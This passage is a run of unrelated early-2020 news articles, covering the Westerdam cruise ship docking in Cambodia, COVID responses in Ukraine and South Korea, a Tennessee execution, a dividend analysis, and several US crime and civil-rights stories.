a total of 1,455 passengers and 802 crew members, departed China's Hong Kong on Feb. 1, and had been turned away by Thailand and Japan among other countries due to concerns over the virus. (Photo by Li Lay/Xinhua) by Nguon Sovan, Mao Pengfei PHNOM PENH, Feb. 20 (Xinhua) -- For American passenger Bobbie Foldy and her husband, it was a shock when they learned that the Westerdam cruise ship, the vessel they were aboard, was denied entry to port by several countries and regions over novel coronavirus (COVID-19) fears. The cruise liner, carrying a total of 1,455 passengers and 802 crew members, departed China's Hong Kong on Feb. 1, and had been turned away by Thailand and Japan among other countries due to concerns over the virus. The ship had been stranded at sea for 13 days before Cambodia allowed it to dock off its southwestern port of Sihanoukville. "When we knew that several ports had refused the ship's entry due to fears of COVID-19, we were extremely shocked," Foldy told Xinhua on Wednesday evening before taking a flight to her country. "At that time, I think not only us, but also others were in panic mode," she said. The resident of Connecticut said she had not slept well during the time that the ship was drifting at sea without a specific destination and what she could do was praying for any country to accept the ship docking. "We had never met such a mishap before, so we were very concerned at that time, and this is one of the unforgettable events in our life," she said. The Westerdam docked at the Sihanoukville Autonomous Port on Feb. 13 following a permit from Cambodian Prime Minister Samdech Techo Hun Sen and passengers were allowed to disembark a day later after 20 ill passengers had tested negative for COVID-19. "We felt relieved and very excited when we heard that Cambodia accepted the ship docking," Foldy said. "We are extremely grateful to Cambodia for that and we are very satisfied with the Cambodia's hospitality." "Thank you Cambodia for your generous help. We're owing you a debt of gratitude for that," she said. Foldy said she would share this experience with her relatives and friends when she returned home. "I'm going to tell them how generous and great Cambodian people are. They are very friendly, warm and open," she said. "I'm also going to tell them about the countries (and regions) that turned us away." Another Westerdam passenger Elaine Gingrich, who came from U.S. state of Michigan, said she and her husband were thankful to Cambodia for the help and praised Cambodia for treating all guests very well. "We will never forget Cambodia's kindness and the excellent hospitality the people here provided to us," she told Xinhua. "This is the first time we are in Cambodia, and we will consider Cambodia for our next holiday." "We're going to tell everybody good things about Cambodia," she added. Orlando Ashford, president of Holland America Line, the owner of the Westerdam, said on Wednesday that it would take the next couple of days to send all passengers back home through commercial flights. "I'd like to express my sincere and heartfelt thanks to the Cambodian government, the prime minister and all the people of Cambodia for allowing our ship to dock, for a warm reception and for taking great care of my guests," he told Xinhua. "Cambodia is really a wonderful place, and people here are really kind and friendly. I personally have an intention to come back to Cambodia again with my family so that I can have more time to explore and enjoy Cambodia's hospitality," he said. Some 1,277 passengers and crew members had been allowed to disembark the ship on Feb. 14-16 after 20 ill passengers tested negative for COVID-19, and the disembarkation was then paused after a passenger who had left Cambodia had tested positive for the virus while transiting in Malaysia. Malaysian health authorities identified her as an 83-year-old American. She is currently in stable condition, and her husband tested negative for the virus. With this news, the Cambodian health authorities had conducted tests on all the remaining passengers and crew in Cambodia, including 980 (233 passengers and 747 crew) still being on board the ship, and the results showed that they were all "negative for the COVID-19". Cambodian Prime Minister Samdech Techo Hun Sen said on Thursday afternoon that most of the passengers have flown home after they were all tested negative for the COVID-19. "According to Health Minister Mam Bunheng, all people - both guests and crew - on board the ship have not infected with the COVID-19," he said in a speech at the Interior Ministry's annual conference. "Until this hour, there is also not any Cambodian infected with the virus," he added. Cambodian Transport Minister Sun Chanthol said the remaining 233 passengers disembarked the ship on Wednesday afternoon and traveled by buses to Phnom Penh, where they waited for their flights home, as the remaining 747 crew will be leaving with the ship on Feb. 22 to Manila, the Philippines. Mam Veasna, director of the Phnom Penh Municipal Tourism Department, who helped facilitate accommodations and flights for the passengers, said most of the passengers had left Cambodia for their respective countries. "By Thursday evening, just over 200 passengers remain at the Sokha Hotel," he said. "Some of them will fly home tonight, and the others will leave by tomorrow night." The hospital in the settlement in central Ukraine will not be able to provide full-fledged treatment for those infected with Chinese coronavirus Open source Medics of Novi Sanzhary settlement (Poltava region, central Ukraine) have no means or opportunities to set the quarantine for those who were infected with the Chinese coronavirus. Local lawmakers from the settlement council said so in their statement that they sent to President Volodymyr Zelensky and Healthcare Minister Zoryana Skaletska. "We need a base for those sick of the coronavirus or those who contacted these people; the framework that meets the requirements of the counter-epidemic regime on the state level. Such a base is absent in our district. The hospital in Novi Sanzhary is not duly equipped or supplied with medications, and it's not ready to provide the full-fledged treatment for those infected with the coronavirus", reads the statement. The lawmakers claim that the situation threatens lives of the people, and they demand that the top officials take urgent measures so that the people evacuated from China are not let inside the Novi Sanzhary medical center. They say the locals fear the infiltration and spread of COVID-19, the disease that already killed thousands of people - mostly in China. There are no quarantine boxes or other kinds of isolators in Novi Sanzhary hospital - not even a special ventilation system. People are protesting against the accommodation of the plane passengers in Novi Sanzhary. RTHK: Tennessee executes man in electric chair A convicted murderer was put to death in Tennessee's electric chair on Thursday, becoming the state's fifth prisoner over 16 months to choose electrocution over the state's preferred method of lethal injection. Nicholas Sutton, 58, was pronounced dead at 7:26 p.m. at the Riverbend Maximum Security Institution in Nashville, the Tennessee Department of Correction said. There were no immediate details, pending a news conference following the execution. Sutton was sentenced to death in 1986 for killing fellow inmate Carl Estep in a conflict over a drug deal while both were incarcerated in an East Tennessee prison, where Sutton had been serving time for killing his grandmother and two others when he was 18 years old. Sutton's supporters, including several family members of his victims and prison workers, had asked Gov. Bill Lee to commute his sentence, saying Sutton had rehabilitated himself in prison and was not the same man who first entered prison 40 years ago. Lee declined to intervene. Anti-death penalty activist Dan Mann said he and another activist had intercepted the governor on the way to work on Tuesday and prayed with him. He asked us to pray for him because it was such a difficult decision," Mann said. But Lee said on Wednesday that he would not intervene in the execution. And two last-ditch appeals to the US Supreme Court were denied on Thursday evening. The justices, in an emailed statement, gave no explanation for their decision not to step in. Sutton had not indicated why he chose electrocution an option for inmates whose crimes were committed before the state adopted lethal injection as its preferred execution method but other inmates have said they thought the electric chair would be quicker and less painful. Expert witnesses testifying in 2018 on behalf of Tennessee inmates challenging the state's three-drug lethal injection protocol said the mix of drugs would cause sensations of drowning, suffocation and chemical burning while rendering them unable to move or call out. Inmates' attorneys have argued without success that both lethal injection and electrocution violate the Constitution's ban on cruel and unusual punishment. The electric chair fell out of favour in the 1990s following several gruesomely botched executions, including a Florida execution where smoke and flames shot from the head of the condemned inmate. Only one other state, Virginia, has used electrocution in recent years, and it has not done so since 2013. (AP) This story has been published on: 2020-02-21. To contact the author, please use the contact details within the article. Could Swiss Water Decaffeinated Coffee Inc. (TSE:SWP) be an attractive dividend share to own for the long haul? Investors are often drawn to strong companies with the idea of reinvesting the dividends. If you are hoping to live on the income from dividends, it's important to be a lot more stringent with your investments than the average punter. In this case, Swiss Water Decaffeinated Coffee likely looks attractive to investors, given its 4.0% dividend yield and a payment history of over ten years. We'd guess that plenty of investors have purchased it for the income. When buying stocks for their dividends, you should always run through the checks below, to see if the dividend looks sustainable. Click the interactive chart for our full dividend analysis TSX:SWP Historical Dividend Yield, February 21st 2020 Payout ratios Dividends are usually paid out of company earnings. If a company is paying more than it earns, then the dividend might become unsustainable - hardly an ideal situation. Comparing dividend payments to a company's net profit after tax is a simple way of reality-checking whether a dividend is sustainable. Swiss Water Decaffeinated Coffee paid out 72% of its profit as dividends, over the trailing twelve month period. A payout ratio above 50% generally implies a business is reaching maturity, although it is still possible to reinvest in the business or increase the dividend over time. In addition to comparing dividends against profits, we should inspect whether the company generated enough cash to pay its dividend. Unfortunately, while Swiss Water Decaffeinated Coffee pays a dividend, it also reported negative free cash flow last year. While there may be a good reason for this, it's not ideal from a dividend perspective. Is Swiss Water Decaffeinated Coffee's Balance Sheet Risky? As Swiss Water Decaffeinated Coffee has a meaningful amount of debt, we need to check its balance sheet to see if the company might have debt risks. A rough way to check this is with these two simple ratios: a) net debt divided by EBITDA (earnings before interest, tax, depreciation and amortisation), and b) net interest cover. Net debt to EBITDA is a measure of a company's total debt. Net interest cover measures the ability to meet interest payments. Essentially we check that a) the company does not have too much debt, and b) that it can afford to pay the interest. With net debt of 3.18 times its EBITDA, investors are starting to take on a meaningful amount of risk, should the business enter a downturn. Story continues We calculated its interest cover by measuring its earnings before interest and tax (EBIT), and dividing this by the company's net interest expense. Interest cover of 3.38 times its interest expense is starting to become a concern for Swiss Water Decaffeinated Coffee, and be aware that lenders may place additional restrictions on the company as well. We update our data on Swiss Water Decaffeinated Coffee every 24 hours, so you can always get our latest analysis of its financial health, here. Dividend Volatility Before buying a stock for its income, we want to see if the dividends have been stable in the past, and if the company has a track record of maintaining its dividend. For the purpose of this article, we only scrutinise the last decade of Swiss Water Decaffeinated Coffee's dividend payments. Its dividend payments have declined on at least one occasion over the past ten years. During the past ten-year period, the first annual payment was CA$0.90 in 2010, compared to CA$0.25 last year. The dividend has fallen 72% over that period. When a company's per-share dividend falls we question if this reflects poorly on either external business conditions, or the company's capital allocation decisions. Either way, we find it hard to get excited about a company with a declining dividend. Dividend Growth Potential Given that dividend payments have been shrinking like a glacier in a warming world, we need to check if there are some bright spots on the horizon. Swiss Water Decaffeinated Coffee has grown its earnings per share at 7.0% per annum over the past five years. Earnings per share are growing at an acceptable rate, although the company is paying out more than half of its profits, which we think could constrain its ability to reinvest in its business. Conclusion When we look at a dividend stock, we need to form a judgement on whether the dividend will grow, if the company is able to maintain it in a wide range of economic circumstances, and if the dividend payout is sustainable. First, the company has a payout ratio that was within an average range for most dividend stocks, but it paid out virtually all of its generated cash flow. Unfortunately, earnings growth has also been mediocre, and the company has cut its dividend at least once in the past. With this information in mind, we think Swiss Water Decaffeinated Coffee may not be an ideal dividend stock. Are management backing themselves to deliver performance? Check their shareholdings in Swiss Water Decaffeinated Coffee in our latest insider ownership analysis. If you are a dividend investor, you might also want to look at our curated list of dividend stocks yielding above 3%. If you spot an error that warrants correction, please contact the editor at editorial-team@simplywallst.com. This article by Simply Wall St is general in nature. It does not constitute a recommendation to buy or sell any stock, and does not take account of your objectives, or your financial situation. Simply Wall St has no position in the stocks mentioned. We aim to bring you long-term focused research analysis driven by fundamental data. Note that our analysis may not factor in the latest price-sensitive company announcements or qualitative material. Thank you for reading. President Moon Jae-in, fourth from left, speaks during a meeting at a department store in Yangcheon-gu, Seoul, Friday. Yonhap By Do Je-hae President Moon Jae-in received an emergency briefing from Prime Minister Chung Sye-kyun, Friday, regarding the quick spread of the coronavirus in Korea. Chung designated the Daegu-Gyeongsang region as a "special care area" after the first COVID-19 death was reported in Cheongdo, a remote village in North Gyeongsang Province. "The government will carry out special measures by designating Daegu and Cheongdo as special care zones," he said during a meeting with Moon and relevant ministers. Chung underlined the need to shift the focus on preventing the further spread of the virus locally. On Thursday alone, there were more than 50 confirmed cases at a church in Daegu, raising concerns that the epidemic is far from over. On Feb. 13, Moon expressed optimism about the epidemic, saying the situation would be resolved by the end of the month. But since the remark, the situation has grown more severe, as seen by the sharp spike in infections this past week alone, particularly in the Daegu-Gyeongsang region. On Friday, Taiwan issued a travel warning for Korea due to the sudden increase in confirmed virus cases. With public fears mounting over the epidemic, Moon called for strong and speedy measures to contain the further spread of the virus. "In many respects, the situation is quite serious. We need to undertake effective measures quickly," the President said, according to a statement released by Cheong Wa Dae after the Prime Minister's emergency briefing. Chung stressed the need to raise the state alert level to "serious" from "watch." According to the statement, Moon also showed concern about the minor Christian sect called the Shincheonji church, as many of the confirmed cases in the Daegu area are worshipers at this church. "We need to meticulously research those in attendance of the worship and funeral services," Moon was quoted as saying. Some members of the sect were reported to have contracted the virus while attending church and a funeral service for a family member of the church's founder Lee Man-hee at a hospital in the provincial town of Cheongdo, near Daegu, After the emergency briefing, Moon also met small business owners at a department store in Yangcheon-gu, Seoul. The President said the government will announce economic measures by the end of the month to help the business sector that has been hit hard by the spread of the virus. Oregons clearinghouse for workplace complaints dismissed Portland resident Michael Fessers racial discrimination claim against his former boss, A&B Towing Co., after doing a cursory inquiry, state files released this week show. The senior investigator for the state Bureau of Labor and Industries did no independent review, the files show. Instead, she relied on Fessers written complaint and an intake interview with him and his lawyer, prepared statements from co-workers and a letter from the lawyer representing Eric Benson, the owner of the tow company based in Southeast Portland. Fesser filed the complaint on May 22, 2017. On June 20, 2017, Bensons lawyer, Charles Paternoster, responded to the complaint in a letter to the bureau. Paternoster argued that Fesser was fired because of his arrest by West Linn police on Feb. 25, 2017, on an aggravated theft accusation, not because of racial animus. The lawyer wrote that Fesser allegedly stole thousands of dollars from the business. Paternoster also denied Fessers claim that West Linn officers were investigating him because Fesser had complained about Benson. The investigation was conducted by a West Linn Police Detective who had no personal relationship with Mr. Benson, Paternoster wrote. Bensons lawyer didnt mention that then-West Linn Chief Terry Timeus was a fishing buddy of his client. Or that the February theft charge had been thrown out. And he denied Fessers allegations that West Linns officers were investigating Fesser as agents for Benson. Seven days later, on June 28, 2017, a Labor Bureau senior investigator dismissed the complaint. Fesser has since reached more than $1 million in settlements from Benson, his tow company, and West Linn in racial discrimination, retaliation and wrongful arrest suits in state and federal courts. The U.S. Department of Justice is now leading a federal civil rights investigation into the West Linn and Portland police arrest of Fesser and a later indictment in Multnomah County against Fesser, also since dismissed. It appears Katherine Kestell, the Labor Bureaus civil rights investigator, took no other independent fact-finding steps, mainly relying on the written material submitted to her and some emails she exchanged with Fessers lawyer and with Bensons lawyer. Theres nothing in the investigative file that shows Kestell checked with Multnomah County prosecutors or West Linn police to learn more about the investigation that led to Fessers arrest. Shortly after The Oregonian/OregonLive detailed Fessers case last week, Oregon Labor Commissioner Val Hoyle said the bureau failed Fesser and vowed an internal investigation into why Fesser didnt get a thorough review of his complaint. Fessers lawyer, Paul Buchanan, told the bureau that Fesser and other workers at the tow company had made complaints to Benson and a manager about racial harassment on the job. One worker, for example, wrote that he heard a tow driver refer to Fesser by a racial epithet with profanity in 2014 as Fesser was on hold on the phone with him. Another tow driver also called Fesser a racial slur in 2016 when Fesser asked him to tow a car for him, saying, Im not towing cars for no (expletive). Fesser said he also received an anonymous holiday card at work around Christmas 2014 that read, Merry Christmas (racial slur). He said his complaints to Benson fell on deaf ears, with no meaningful response. Mr. Benson failed to take my concerns seriously and failed to take remedial action to address racist conduct by co-workers, Fesser wrote in his declaration. He told me, theres nothing I can do. My co-workers continued to treat me with disrespect. But the state investigator appeared to take the word of Bensons lawyer that Benson had addressed the racial harassment complaints. One of the co-workers who used a racial epithet was disciplined and suspended, Paternoster wrote to the state. But Fesser and other co-workers told the state investigator in their written documents that the person identified had called in sick one day and wasnt otherwise gone from work. Benson, through his lawyer, also argued that he couldnt control what his workers put on their personal vehicles. Bensons lawyer said the presence of the pickup with the Confederate flag didnt in any way, shape or form represent Bensons support for any associated sentiment. Benson asked the worker to remove the flag or sticker from the truck window and the employee did, Paternoster wrote. In a her memo dismissing Fessers complaint, Kestell wrote that the record didnt contain substantial evidence showing Fessers firing was related to his complaints about racial hostilities at work or that he was subjected to unlawful harassment on the job. Rather, the available evidence suggests Respondent immediately and appropriately addressed Complainants reports of harassment. This complaint should be dismissed, Kestell wrote. Buchanan said he was surprised how readily the state bureau dispensed with the complaint. We got the short shrift from BOLI for sure, he said. Kestell, who now works for Portlands Independent Police Review office, the intake center for complaints against Portland police, has declined comment. Employment lawyers who arent tied to Fessers case but have experience representing workers and employers before the Labor Bureau said the state agencys investigators typically interview the person filing the complaint, co-workers and the target of the complaint. Complainants often get a chance to respond to what their bosses say. The investigator also can interview potential witnesses and has the power to subpoena records from the employer. Some investigations can take up to a year, said Robert K. Meyer, an employment law attorney in Portland. He said the Labor Bureau has limited resources that could hamper its investigators from digging into a complaint. Some investigators are outstanding. Some are less than that, said Charese Rohny, another veteran labor lawyer in Portland, speaking of the Labor Bureaus discrimination inquiries. The length of time is far less concerning to me than how thorough they are in their investigations. What I want is for them to obtain relevant documents that are potentially only in the employers possession and obtain witness statements. In 2019, the Labor Bureau received 379 complaints of racial discrimination, up from 334 the year before. This case highlights the importance of work weve been engaging in to improve our systems and processes, said bureau spokeswoman Jenny Smith. Kestells current boss, Ross Caldwell, director of Portlands Independent Police Review office, defended her, describing Kestell as a "really, really solid investigator.'' Kestell didnt act alone at the Labor Bureau, he said, but had others likely sign off on her dismissal of Fessers complaint, which the state agency confirmed. The text messages between Benson and the West Linn detective, filled with racist and crude remarks, hadnt surfaced when the complaint was made and were discovered in the course of later litigation. "She was a cog in the BOLI wheel,'' Caldwell said. Caldwell last week said his office will review the role of Portland police gang enforcement officers, who assisted in the West Linn police arrest of Fesser in February 2017. Kevin Modica, a retired Portland police assistant chief, has questioned how the Independent Police Review office will investigate Portland police if one of their own investigators had quickly dismissed Fessers complaint when it came before the Labor Bureau. Kestell wont be involved in the Portland offices review, Caldwell said. -- Maxine Bernstein Email at mbernstein@oregonian.com Follow on Twitter @maxoregonian Visit subscription.oregonlive.com/newsletters to get Oregonian/OregonLive journalism delivered to your email inbox. Subscribe to Facebook page When two University of Connecticut students were charged this fall with violating a century-old state law against ridiculing people, opposition came quickly from critics in the state and around the country, including free speech advocates and academics who said the law violates the First Amendment of the U.S. Constitution. But an effort to repeal the statute is on life support, said Sen. John Kissel, R-Enfield, who asked the committee to raise the bill. The law, passed in 1917, says that any person who, by his advertisement, ridicules or holds up to contempt any person or class of persons, on account of the creed, religion, color, denomination, nationality or race of such person or class of persons, shall be guilty of a class D misdemeanor. In written testimony, the states Commission on Human Rights and Opportunities urged against repealing the law. This statute aims to combat the bias and harassment that individuals may face on the basis of race or religion, the CHRO wrote. At a time when hate and bias incidents are on the rise, it is crucial that the state not remove these types of prohibitions that aim to deter or punish this unacceptable behavior. Kissel, the ranking Senate Republican on the Judiciary Committee, said he personally believes the law is unconstitutional, but that in the absence of strong feedback from constituents, repealing it seems unlikely to move forward. Committee co-chair Sen. Gary Winfield, D-New Haven, said he needs to hear more from those who want to repeal it before weighing in the bill. Two others have submitted written testimony against the bill: Amy Ewing, of Stamford, and Patrick McCann, chair of the Secular Coalition for Connecticut, both wrote that they are concerned that there are antiquated thought crimes in our general statutes. The law creates a special class of individuals that are exempt from ridicule and scrutiny. This is a clear danger to fundamental principles of democracy, they wrote. One persons ridicule might be another persons satire. It just seems dangerous if you start regulating speech like that, Ewing said in an interview. Speech that incites violence is already illegal and repealing the ridicule law wont change that, she said, adding, unpleasant speech is protected by the Constitution. At a public hearing Friday, the only speaker who addressed it, after testifying on another piece of legislation, said she didnt know where she stood on repealing the law. Without any kind of people here testifying, its hard for me to go and say weve really got to move on this bill, Kissel said. The law is one of only a few such state laws in the country, the Associated Press reported. It is so clearly unconstitutional under the First Amendment that it's hard to believe that it's still on the books, William Dunlap, a professor at the Quinnipiac University School of Law, told the AP. It punishes speech based on the content of the speech, and that it is one of the key concepts of the First Amendment that the government cannot punish speech based on its content. Prosecutors have charged people with violating the statute 42 times since 2012, and nine people have been convicted, according to the state Judicial Branch. The most recent conviction came in September, when Martin Ginejt of Norwalk pleaded guilty to ridicule and to a misdemeanor charge of threatening. Among those charged in 2019 were two UConn students, Jarred Mitchell Karal and Ryan Gilman Mucaj, whose use of a racial slur on campus ignited protests on campus in October. That attracted criticism from the American Civil Liberties Union, among others. National legal director David Cole said in a statement at the time that although the conduct reported in this incident is reprehensible, it is not criminal. The First Amendment protects even offensive and hateful speech, so long as it does not rise to the level of incitement to violence, criminal harassment, or true threats, he said. Attorney Alan Dershowitz, who defended President Donald Trump in the impeachment trial, called the statute absurd in an article on the Gatestone Institute website in November. All who care about civil liberties, regardless of race, should now join with the racist students in opposing their criminal prosecution and demanding that the Connecticut statute be struck down as unconstitutional, he said. UConn has defended its arrest and discipline of the students. Mucaj and Karal have sued the university and several administrators over the disciplinary process, alleging that they were deprived of their rights because of the content of their speech, in violation of the First Amendment. Liz.teitz@hearstmediact.com, @LizTeitz Source: Xinhua| 2020-02-21 17:04:58|Editor: xuxin Video Player Close BEIRUT, Feb. 21 (Xinhua) -- Lebanon's state security on Friday arrested 27 Syrians for illegally entering the country, the National News Agency reported. The Syrians, who were arrested in Aabrine in the north of Lebanon, were referred to judicial bodies for investigations and legal procedures. The Lebanese security forces have been trying to crack down on smuggling in areas close to the border with Syria. Also, Lebanon's Higher Defense Council has instructed the country's General Security to send away Syrian refugees who entered Lebanon in an illegal way. (Newser) Police still don't know where Lori Vallow's two children are, but they know exactly where Vallow is nowthe cellblock of the Kauai Police Department. The Idaho woman, whose two children have not been seen since September, was arrested in Hawaii Thursday and is being held on $5 million bond, NBC reports. The 46-year-old was arrested on a warrant from Madison County, Idaho, where she has been charged with desertion, nonsupport of dependent children, resisting or obstructing officers, criminal solicitation to commit a crime, and contempt of court. She failed to comply with a court order to present her children to county authorities by Jan. 30. A hearing on extraditing Vallow from Hawaii to Idaho is expected Friday or Monday. story continues below Police say there is no sign that the children17-year-old Tylee Ryan and 7-year-old Joshua Valloware on Kauai. Sources tell NBC that Vallow's husband, Chad Daybell, is not in custody. "We wish to thank the public for the massive outpouring of concern regarding this case," said Kauai Chief of Police Todd G. Raybuck, per the Honolulu Star-Advertiser. Investigators in Idaho say they believe Vallow, who left a storage unit full of children's items behind when she left the state in November, either knows where the children are or knows what happened to them. Vallow's previous husband, Charles Vallow, was killed by her brother in July last year. In divorce papers filed months earlier, he said she had claimed she was a god assigned to prepare for "Christ's second coming in July 2020." (Read more Lori Vallow stories.) The administration of Hebrew University in Jerusalem is facing fierce criticism these days from a group of its faculty, for allowing students to receive academic credit for volunteering with the right-wing group Im Tirtzu. This organization works on several fronts and is especially known for identifying professors with left-wing opinions in a campaign it calls the politicization of the academy. This critique has been issued by professors who arent necessarily politically identified, such as Michal Frankel, head of the Department of Sociology and Anthropology, who is now signing on her colleagues to a request for an urgent meeting of the university senate in order to discuss the matter. In addressing the faculty, Frankel wrote Feb. 13, I believe that our role as academics and members of the senate of Hebrew University is to defend the freedom of expression and academic freedom from those who seek to curtail it and surveil it, especially as this is done, frequently, by violent means. I believe that the university will have no ability to supervise the activities of the volunteers and that the legitimacy it grants to the activities of Im Tirtzu, whose primary goal to limit the academic freedom of the faculty constitutes a threat to the continued existence of the Israeli academy as a stronghold of free thinking. Law professor Ruth Gavison in an internal communication among the faculty wrote that the lack of academic supervision over the activity leads to the conclusion that there is no justification to grant academic credit for such activity, and that it seems that on the list of organizations that received similar permission there is no other political group, certainly not from the left. Attorney Eitay Mack, a graduate of the university, in a letter to Rector Barak Medina, who was behind the decision, offered an array of examples for the political activities of Im Tirtzu. He claimed that Im Tirtzu is waging an incitement and delegitimization campaign against human rights activists and organizations in Israel, including a personal campaign against employees and activists of these organizations, calling them enemy agents (or "planted") and defining them as backers of terrorism. He further claims that Im Tirtzus campaign resembles anti-Semitic campaigns and that the organization is conducting a campaign of incitement and delegitimization against faculty in institutions of higher education that it identifies as leftists and human rights activists. The messaging of this movement matches those of political parties from the right and the extreme right, he writes, and a significant part of its activities are shared with political parties on the right, including advancing legislation. Medina responded in a letter to university faculty and in a frank opinion piece in the Haaretz newspaper. According to him, it is the obligation of the university to grant credit to students who volunteer with aid and charity organizations, according to legislation from 2018. He emphasized that according to the rules of the university volunteer work with groups that have party affiliation is not permitted, but because of the difficulty in determining which groups should be considered political and which should not, the committee authorized to discuss the issue is mainly examining the nature of concrete actions for which volunteering recognition is requested and does not deal with the general character of the groups seeking recognition. According to him, the approach that was taken is liberal, coming from the view that students should be allowed as broad a freedom to choose their volunteer activity. He added that the Im Tirtzu movement promised that the activity for which credit would be granted would only be indiscriminate aid for the needy, and would not include political activity. It turns out that Medina himself was the subject of attacks from the same Im Tirtzu. Among other things, the movement strove to remove his candidacy to serve as judge on the Supreme Court because of his support in principle for a ceremony in September 2014 to commemorate the Nakba held by Arab Israeli students. Alon Schwartzer, head of the policy arm of Im Tirtzu then explained that demand by saying, In the hall of justice that is supposed to be a beacon of truth for the State of Israel there is no place for a judge who encourages a narrative that negates and invalidates the existence of the State of Israel as a Jewish and democratic state. It would be a disaster like no other if professor Medina leads the lights of justice in Israel. Medina told Al-Monitor this is in fact the reason that he is committed to taking a liberal approach that demands tolerance toward these kinds of groups. The paradox of tolerance that is, the proper treatment from a liberal viewpoint toward those who do not respect others and act to invalidate their rights is a topic on which there is a variety of opinions in law and among thinkers. An important consideration on this issue is the influence of a policy on public opinion. I believe that we can attribute the significant erosion in public support for defending freedom of expression to a growing trend in Israeli law to permit restrictions on this right, he noted. Some at Hebrew University think that these steps were taken to prevent conflict with the government, in light of the leftist reputation the university has gained recently in several episodes. For instance, in the 2018 Lara Alqasem episode, involving an American student who had supported and been active in the boycott, divestment and sanctions movement and sought to study in Israel. Medina waged a public and legal battle against Minister Gilad Erdan to allow her to study here, and won. Medina, who is considered an expert on human rights in Israel as well as worldwide, and was awarded the prize for good government in 2015, said that at the time that deportation from Israel of someone who supports the boycott could lead their associates to boycott Israel, as an act of solidarity with the activist rather than support for the boycott. He personally supports the entry to Israel of boycott activists, and here I would argue with them and show them the other side of the issue. But in my role as rector I work in the public and national interest and because I know that Alqasems deportation would greatly harm the battle against the academic boycott of Israel. According to a senior source at Hebrew University, who spoke on condition of anonymity, it is very likely that Medina and the administration granted the permission to receive academic credit for volunteering with Im Tirtzu in order to prevent a conflict with the Ministry of Education, headed by Rabbi Rafi Peretz of the Yamina party, which is associated with Im Tirtzu. The test will be when organizations affiliated with the left or human rights organizations submit a similar request. NEW HAVEN The case of a New Haven man accused of harassing Norm Pattis and Kevin Smith, the attorneys for the now late Fotis Dulos, was continued to later this month. Adam Davenport, charged with second-degree threatening in the matter, is next scheduled to appear in court March 27, according to court staff. According to an arrest warrant affidavit by Officer Dylan Carlson,Pattis and Smith reported in October that they had received more than 30 calls from a person who seemed to be the same individual, including on Oct. 15, when Pattis allegedly received seven calls between 8:19 and 8:45 p.m. and Smith reported receiving three calls between 8:39 and 8:45 p.m. Pattis and Smith said they have received threats in the past, but they have not taken them seriously until they received a call stating that Smith is not safe and its going to be real easy man, real easy, Carlson said in the warrant affidavit. Smith advised us that he felt threatened by the recent phone calls, that stated he is not safe. Smith and Pattis told Carlson they believed the calls were connected to the case of missing New Canaan mother Jennifer Dulos. Fotis Dulos was charged with killing her before taking his own life in January. Fotis Dulos left a note proclaiming his innocence in the case. In a voicemail to Pattis, the subject specifies the person he is defending is going to jail and that Pattis should go to jail for defending him, according to the warrant affidavit. Carlson called and spoke to the individual who left the voicemail, who identified himself as Adam Davenport and admitted to making the calls, according to the affidavit. Davenport stated that he is following the Jennifer Dulos Case and is extremely upset with what is happening and how the case is progressing. Davenport stated he is particularly upset at how Pattis talks about the case to the media and believes he is spreading false information, according to the affidavit. The calls on Oct. 15 were intended to get a rise out of Pattis and Smith, Davenport allegedly told Carlson, according to the warrant affidavit. Davenport stated he did not intend on threatening Pattis or Smith, Carlson said. He told us that the phone calls would cease immediately and he would apologize to Pattis and Smith. Davenport said that Pattis and Smith had responded to the calls with hostility, including swearing at him. He said he believed, since the two attorneys had responded in this manner, there were no hard feelings involved and that both sides were trying to get a rise out of each other. He stated that there is no ill intent he was just upset by how the Jennifer Dulos case is portrayed on the news by Pattis and Smith. Davenport understands that he should not have done this in the first place and that it was a mistake, Carlson wrote, noting Davenport had cooperated with the investigation from the onset. Davenport is free on a promise to appear in court, according to judicial records. william.lambert@hearstmediact.com Over the past few days, two incidents have come to light, which highlight the dangers of minority extremism. Waris Pathan, a leader of the All-India Majlis-e-Ittehadul Muslimeen (AIMIM), said that [we may be] 15 crore [150 million], but are heavy on 100 crore [1 billion]. He was suggesting that Muslims can prevail over Hindus, in what can only be interpreted as a threat. In the second instance, at a rally against the Citizenship (Amendment) Act, or the CAA, in Bengaluru, in the presence of AIMIM leader Asaduddin Owaisi, a young woman activist chanted Pakistan Zindabad. Any citizen is entitled to free speech, and sedition charges against her do seem excessive, but the political context made it appear like she was backing Pakistan against India, even though she, subsequently, raised the Hindustan Zindabad slogan. These incidents happened a few weeks after Sharjeel Imam suggested Muslim protesters should cut off Assam from the rest of India. To his credit, Mr Owaisi condemned the woman activists statement. He also, in his all criticisms of the CAA, has spoken the language of constitutionalism (although the has not commented publicly on Pathans statement). At Shaheen Bagh, which has emerged, symbolically, as the key site of the anti-CAA protest, the Tricolour, the Constitution, the national anthem, and national icons have been repeatedly invoked. Muslim protesters have often condemned communal rhetoric. In fact, it is this approach which has given the otherwise Muslim-dominated protests an inclusive character, and neutralised any criticism of these protests being anti-national or communal. This newspaper has consistently criticised comments of leaders from the majority community that are divisive and border on hate speech. The same principle applies to those from the minority community. If there are grievances, Indian democracy, through elections, constitutional rights, and independent institutional mechanisms, provides avenues to articulate them. In fact, it is these rights which have allowed the protests to continue. But as soon as leaders or activists convert their grievances into open threats, incite violence, or suggest coercive tactics, it is unacceptable and merits condemnation. As soon as activists make the protests about India-Pakistan, they lose the moral high ground. Majority communalism is dangerous; but minority extremism is as dangerous. India needs to step back from this vicious cycle. WATERLOO Three people have been detained in connection with an attempted early morning break-in at a Waterloo home that led to a brief chase. Police were called to 332 Dearborn Ave. around 4:40 a.m. Friday for a report that people were trying to kick in the door to the home while residents were inside. The suspects fled in a red Ford Escape when someone turned on a light. Officers attempted to stop the Escape, which failed to live up to its name and became stuck in a snow bank at the intersection of State Street and Cottage Grove Avenue following a short pursuit. The occupants ran from the vehicle, and police followed tracks in the snow and arrested Devonte David Wright, 19, of 417 Reed St.; Jameel Ahmod Lanier, 18, of 1915 City View St.; and Chandrique Yarquez Day, 19, of Cedar Rapids, for attempted first-degree burglary. Police also found a Glock handgun near the vehicle. Day, who was found hiding behind a shed on Linden Avenue, allegedly told police his name was Linden Lafayette when he was captured. Court records show Day was also arrested on a warrant for rioting charges in connection with the Aug. 10 brawl on College Hill in Cedar Falls. He was also arrested on a warrant for felon in possession of a firearm in a case where his DNA was found on a .40-caliber Stoeger handgun used in an April 23, 2018, shooting on Monroe Street, according to court records. Wright was also arrested on a warrant for felon in possession of a firearm in connection an April 11, 2018, traffic stop where police found a loaded .40-caliber CZ handgun with his DNA on it, records state. Photos: Guns in Northeast Iowa crime cases Love 4 Funny 2 Wow 0 Sad 0 Angry 1 Sign up for our Crime & Courts newsletter Get the latest in 